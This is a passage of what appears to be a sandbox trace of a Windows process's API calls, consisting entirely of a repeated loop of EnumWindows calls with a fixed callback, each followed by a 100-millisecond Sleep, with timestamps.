lParam=0x410000) [0160.542] Sleep (dwMilliseconds=0x64) [0160.543] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.544] Sleep (dwMilliseconds=0x64) [0160.545] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.545] Sleep (dwMilliseconds=0x64) [0160.546] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.547] Sleep (dwMilliseconds=0x64) [0160.548] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.548] Sleep (dwMilliseconds=0x64) [0160.549] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.550] Sleep (dwMilliseconds=0x64) [0160.551] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.551] Sleep (dwMilliseconds=0x64) [0160.646] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.646] Sleep (dwMilliseconds=0x64) [0160.648] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.648] Sleep (dwMilliseconds=0x64) [0160.650] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.650] Sleep (dwMilliseconds=0x64) [0160.651] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.651] Sleep (dwMilliseconds=0x64) [0160.653] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.653] Sleep (dwMilliseconds=0x64) [0160.655] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.655] Sleep (dwMilliseconds=0x64) [0160.656] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.656] Sleep (dwMilliseconds=0x64) [0160.659] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.659] Sleep (dwMilliseconds=0x64) [0160.661] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.661] Sleep (dwMilliseconds=0x64) [0160.662] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.662] Sleep (dwMilliseconds=0x64) [0160.665] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.665] Sleep (dwMilliseconds=0x64) [0160.666] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.666] Sleep (dwMilliseconds=0x64) [0160.668] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.668] Sleep (dwMilliseconds=0x64) [0160.670] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.670] Sleep (dwMilliseconds=0x64) [0160.671] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.671] Sleep (dwMilliseconds=0x64) [0160.673] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.673] Sleep (dwMilliseconds=0x64) [0160.675] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.675] Sleep (dwMilliseconds=0x64) [0160.683] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.683] Sleep (dwMilliseconds=0x64) [0160.685] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.685] Sleep (dwMilliseconds=0x64) [0160.687] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.687] Sleep (dwMilliseconds=0x64) [0160.690] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.691] Sleep (dwMilliseconds=0x64) [0160.692] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.692] Sleep (dwMilliseconds=0x64) [0160.694] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.694] Sleep (dwMilliseconds=0x64) [0160.696] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.696] Sleep (dwMilliseconds=0x64) [0160.698] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.698] Sleep (dwMilliseconds=0x64) [0160.701] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.702] Sleep (dwMilliseconds=0x64) [0160.703] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.703] Sleep (dwMilliseconds=0x64) [0160.705] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.705] Sleep (dwMilliseconds=0x64) [0160.707] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.707] Sleep (dwMilliseconds=0x64) [0160.708] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.708] Sleep (dwMilliseconds=0x64) [0160.710] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.710] Sleep (dwMilliseconds=0x64) [0160.711] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.712] Sleep (dwMilliseconds=0x64) [0160.713] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0160.713] Sleep (dwMilliseconds=0x64) [0160.716] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.009] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.010] Sleep (dwMilliseconds=0x64) [0161.053] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.054] Sleep (dwMilliseconds=0x64) [0161.059] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.059] Sleep (dwMilliseconds=0x64) [0161.061] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.061] Sleep (dwMilliseconds=0x64) [0161.063] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.063] Sleep (dwMilliseconds=0x64) [0161.064] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.064] Sleep (dwMilliseconds=0x64) [0161.066] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.066] Sleep (dwMilliseconds=0x64) [0161.067] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.068] Sleep (dwMilliseconds=0x64) [0161.069] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.069] Sleep (dwMilliseconds=0x64) [0161.070] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.071] Sleep (dwMilliseconds=0x64) [0161.072] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.072] Sleep (dwMilliseconds=0x64) [0161.074] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.074] Sleep (dwMilliseconds=0x64) [0161.075] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.076] Sleep (dwMilliseconds=0x64) [0161.077] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.077] Sleep (dwMilliseconds=0x64) [0161.081] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.081] Sleep (dwMilliseconds=0x64) [0161.103] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.103] Sleep (dwMilliseconds=0x64) [0161.105] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.105] Sleep (dwMilliseconds=0x64) [0161.108] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.108] Sleep (dwMilliseconds=0x64) [0161.136] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.136] Sleep (dwMilliseconds=0x64) [0161.166] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.166] Sleep (dwMilliseconds=0x64) [0161.248] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.249] Sleep (dwMilliseconds=0x64) [0161.258] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.258] Sleep (dwMilliseconds=0x64) [0161.260] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.260] Sleep (dwMilliseconds=0x64) [0161.261] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.261] Sleep (dwMilliseconds=0x64) [0161.263] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.263] Sleep (dwMilliseconds=0x64) [0161.264] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.264] Sleep (dwMilliseconds=0x64) [0161.266] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.267] Sleep (dwMilliseconds=0x64) [0161.268] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.269] Sleep (dwMilliseconds=0x64) [0161.270] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.270] Sleep (dwMilliseconds=0x64) [0161.272] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.272] Sleep (dwMilliseconds=0x64) [0161.274] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.274] Sleep (dwMilliseconds=0x64) [0161.275] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.275] Sleep (dwMilliseconds=0x64) [0161.277] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.277] Sleep (dwMilliseconds=0x64) [0161.278] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.278] Sleep (dwMilliseconds=0x64) [0161.280] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.280] Sleep (dwMilliseconds=0x64) [0161.282] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.282] Sleep (dwMilliseconds=0x64) [0161.287] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.287] Sleep (dwMilliseconds=0x64) [0161.289] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.289] Sleep (dwMilliseconds=0x64) [0161.291] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.291] Sleep (dwMilliseconds=0x64) [0161.293] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.293] Sleep (dwMilliseconds=0x64) [0161.294] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.294] Sleep (dwMilliseconds=0x64) [0161.296] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.296] Sleep (dwMilliseconds=0x64) [0161.297] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.297] Sleep (dwMilliseconds=0x64) [0161.299] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.299] Sleep (dwMilliseconds=0x64) [0161.300] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.300] Sleep (dwMilliseconds=0x64) [0161.302] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.302] Sleep (dwMilliseconds=0x64) [0161.303] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.303] Sleep (dwMilliseconds=0x64) [0161.309] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.309] Sleep (dwMilliseconds=0x64) [0161.311] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.311] Sleep (dwMilliseconds=0x64) [0161.312] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.313] Sleep (dwMilliseconds=0x64) [0161.314] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.314] Sleep (dwMilliseconds=0x64) [0161.316] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.316] Sleep (dwMilliseconds=0x64) [0161.318] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.318] Sleep (dwMilliseconds=0x64) [0161.319] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.319] Sleep (dwMilliseconds=0x64) [0161.321] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.321] Sleep (dwMilliseconds=0x64) [0161.322] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.322] Sleep (dwMilliseconds=0x64) [0161.325] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.325] Sleep (dwMilliseconds=0x64) [0161.326] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.326] Sleep (dwMilliseconds=0x64) [0161.328] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.328] Sleep (dwMilliseconds=0x64) [0161.330] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.330] Sleep (dwMilliseconds=0x64) [0161.332] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.332] Sleep (dwMilliseconds=0x64) [0161.333] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.333] Sleep (dwMilliseconds=0x64) [0161.335] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.335] Sleep (dwMilliseconds=0x64) [0161.336] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.336] Sleep (dwMilliseconds=0x64) [0161.338] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.338] Sleep (dwMilliseconds=0x64) [0161.341] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.341] Sleep (dwMilliseconds=0x64) [0161.342] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.342] Sleep (dwMilliseconds=0x64) [0161.344] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.344] Sleep (dwMilliseconds=0x64) [0161.345] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.345] Sleep (dwMilliseconds=0x64) [0161.347] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.347] Sleep (dwMilliseconds=0x64) [0161.371] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.371] Sleep (dwMilliseconds=0x64) [0161.387] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.387] Sleep (dwMilliseconds=0x64) [0161.388] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.388] Sleep (dwMilliseconds=0x64) [0161.390] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.390] Sleep (dwMilliseconds=0x64) [0161.391] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.391] Sleep (dwMilliseconds=0x64) [0161.393] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.393] Sleep (dwMilliseconds=0x64) [0161.394] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.394] Sleep (dwMilliseconds=0x64) [0161.396] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.396] Sleep (dwMilliseconds=0x64) [0161.397] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.397] Sleep (dwMilliseconds=0x64) [0161.399] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.399] Sleep (dwMilliseconds=0x64) [0161.400] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.400] Sleep (dwMilliseconds=0x64) [0161.402] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.402] Sleep (dwMilliseconds=0x64) [0161.521] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.521] Sleep (dwMilliseconds=0x64) [0161.555] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.555] Sleep (dwMilliseconds=0x64) [0161.556] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.556] Sleep (dwMilliseconds=0x64) [0161.558] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.558] Sleep (dwMilliseconds=0x64) [0161.560] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.560] Sleep (dwMilliseconds=0x64) [0161.561] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.561] Sleep (dwMilliseconds=0x64) [0161.563] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.563] Sleep (dwMilliseconds=0x64) [0161.564] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.564] Sleep (dwMilliseconds=0x64) [0161.566] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.566] Sleep (dwMilliseconds=0x64) [0161.567] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.567] Sleep (dwMilliseconds=0x64) [0161.582] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.583] Sleep (dwMilliseconds=0x64) [0161.584] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.584] Sleep (dwMilliseconds=0x64) [0161.587] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.587] Sleep (dwMilliseconds=0x64) [0161.589] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.589] Sleep (dwMilliseconds=0x64) [0161.590] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.591] Sleep (dwMilliseconds=0x64) [0161.593] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.593] Sleep (dwMilliseconds=0x64) [0161.595] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.595] Sleep (dwMilliseconds=0x64) [0161.597] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.597] Sleep (dwMilliseconds=0x64) [0161.598] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.598] Sleep (dwMilliseconds=0x64) [0161.600] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.600] Sleep (dwMilliseconds=0x64) [0161.603] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.603] Sleep (dwMilliseconds=0x64) [0161.604] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.604] Sleep (dwMilliseconds=0x64) [0161.606] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.606] Sleep (dwMilliseconds=0x64) [0161.607] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.608] Sleep (dwMilliseconds=0x64) [0161.609] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.609] Sleep (dwMilliseconds=0x64) [0161.611] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.611] Sleep (dwMilliseconds=0x64) [0161.612] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.612] Sleep (dwMilliseconds=0x64) [0161.614] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.614] Sleep (dwMilliseconds=0x64) [0161.615] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.615] Sleep (dwMilliseconds=0x64) [0161.617] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.617] Sleep (dwMilliseconds=0x64) [0161.618] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.619] Sleep (dwMilliseconds=0x64) [0161.621] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.621] Sleep (dwMilliseconds=0x64) [0161.673] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.674] Sleep (dwMilliseconds=0x64) [0161.675] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.675] Sleep (dwMilliseconds=0x64) [0161.677] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.677] Sleep (dwMilliseconds=0x64) [0161.679] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.679] Sleep (dwMilliseconds=0x64) [0161.681] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.681] Sleep (dwMilliseconds=0x64) [0161.683] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.683] Sleep (dwMilliseconds=0x64) [0161.685] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.685] Sleep (dwMilliseconds=0x64) [0161.686] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.686] Sleep (dwMilliseconds=0x64) [0161.688] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.688] Sleep (dwMilliseconds=0x64) [0161.690] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.690] Sleep (dwMilliseconds=0x64) [0161.691] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.692] Sleep (dwMilliseconds=0x64) [0161.693] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.693] Sleep (dwMilliseconds=0x64) [0161.695] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.695] Sleep (dwMilliseconds=0x64) [0161.697] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.697] Sleep (dwMilliseconds=0x64) [0161.699] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.700] Sleep (dwMilliseconds=0x64) [0161.701] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.701] Sleep (dwMilliseconds=0x64) [0161.712] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.712] Sleep (dwMilliseconds=0x64) [0161.714] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.714] Sleep (dwMilliseconds=0x64) [0161.716] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.716] Sleep (dwMilliseconds=0x64) [0161.717] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.717] Sleep (dwMilliseconds=0x64) [0161.719] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.719] Sleep (dwMilliseconds=0x64) [0161.720] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.720] Sleep (dwMilliseconds=0x64) [0161.722] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.722] Sleep (dwMilliseconds=0x64) [0161.723] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.724] Sleep (dwMilliseconds=0x64) [0161.727] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.727] Sleep (dwMilliseconds=0x64) [0161.729] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.730] Sleep (dwMilliseconds=0x64) [0161.732] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.732] Sleep (dwMilliseconds=0x64) [0161.734] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.734] Sleep (dwMilliseconds=0x64) [0161.736] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.736] Sleep (dwMilliseconds=0x64) [0161.737] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.737] Sleep (dwMilliseconds=0x64) [0161.739] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.739] Sleep (dwMilliseconds=0x64) [0161.741] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.741] Sleep (dwMilliseconds=0x64) [0161.743] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.743] Sleep (dwMilliseconds=0x64) [0161.744] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.744] Sleep (dwMilliseconds=0x64) [0161.746] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.746] Sleep (dwMilliseconds=0x64) [0161.748] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.748] Sleep (dwMilliseconds=0x64) [0161.749] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.749] Sleep (dwMilliseconds=0x64) [0161.751] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.751] Sleep (dwMilliseconds=0x64) [0161.753] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.753] Sleep (dwMilliseconds=0x64) [0161.755] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.755] Sleep (dwMilliseconds=0x64) [0161.757] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.757] Sleep (dwMilliseconds=0x64) [0161.758] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.758] Sleep (dwMilliseconds=0x64) [0161.760] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.760] Sleep (dwMilliseconds=0x64) [0161.762] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.762] Sleep (dwMilliseconds=0x64) [0161.763] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.764] Sleep (dwMilliseconds=0x64) [0161.766] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.766] Sleep (dwMilliseconds=0x64) [0161.846] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.847] Sleep (dwMilliseconds=0x64) [0161.926] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.926] Sleep (dwMilliseconds=0x64) [0161.989] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.990] Sleep (dwMilliseconds=0x64) [0161.995] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.996] Sleep (dwMilliseconds=0x64) [0161.997] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.998] Sleep (dwMilliseconds=0x64) [0161.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0161.999] Sleep (dwMilliseconds=0x64) [0162.000] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.000] Sleep (dwMilliseconds=0x64) [0162.002] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.002] Sleep (dwMilliseconds=0x64) [0162.004] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.004] Sleep (dwMilliseconds=0x64) [0162.006] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.006] Sleep (dwMilliseconds=0x64) [0162.007] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.007] Sleep (dwMilliseconds=0x64) [0162.009] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.009] Sleep (dwMilliseconds=0x64) [0162.011] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.011] Sleep (dwMilliseconds=0x64) [0162.013] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.013] Sleep (dwMilliseconds=0x64) [0162.014] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.014] Sleep (dwMilliseconds=0x64) [0162.016] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.016] Sleep (dwMilliseconds=0x64) [0162.017] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.017] Sleep (dwMilliseconds=0x64) [0162.019] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.019] Sleep (dwMilliseconds=0x64) [0162.020] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.020] Sleep (dwMilliseconds=0x64) [0162.022] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.022] Sleep (dwMilliseconds=0x64) [0162.023] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.023] Sleep (dwMilliseconds=0x64) [0162.030] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.030] Sleep (dwMilliseconds=0x64) [0162.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.031] Sleep (dwMilliseconds=0x64) [0162.106] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.107] Sleep (dwMilliseconds=0x64) [0162.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.203] Sleep (dwMilliseconds=0x64) [0162.204] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.204] Sleep (dwMilliseconds=0x64) [0162.206] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.206] Sleep (dwMilliseconds=0x64) [0162.208] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.208] Sleep (dwMilliseconds=0x64) [0162.209] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.209] Sleep (dwMilliseconds=0x64) [0162.211] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.211] Sleep (dwMilliseconds=0x64) [0162.213] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.213] Sleep (dwMilliseconds=0x64) [0162.216] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.216] Sleep (dwMilliseconds=0x64) [0162.218] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.218] Sleep (dwMilliseconds=0x64) [0162.220] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.220] Sleep (dwMilliseconds=0x64) [0162.222] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.222] Sleep (dwMilliseconds=0x64) [0162.223] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.223] Sleep (dwMilliseconds=0x64) [0162.226] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.226] Sleep (dwMilliseconds=0x64) [0162.228] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.228] Sleep (dwMilliseconds=0x64) [0162.229] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.229] Sleep (dwMilliseconds=0x64) [0162.231] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.231] Sleep (dwMilliseconds=0x64) [0162.232] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.232] Sleep (dwMilliseconds=0x64) [0162.234] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.234] Sleep 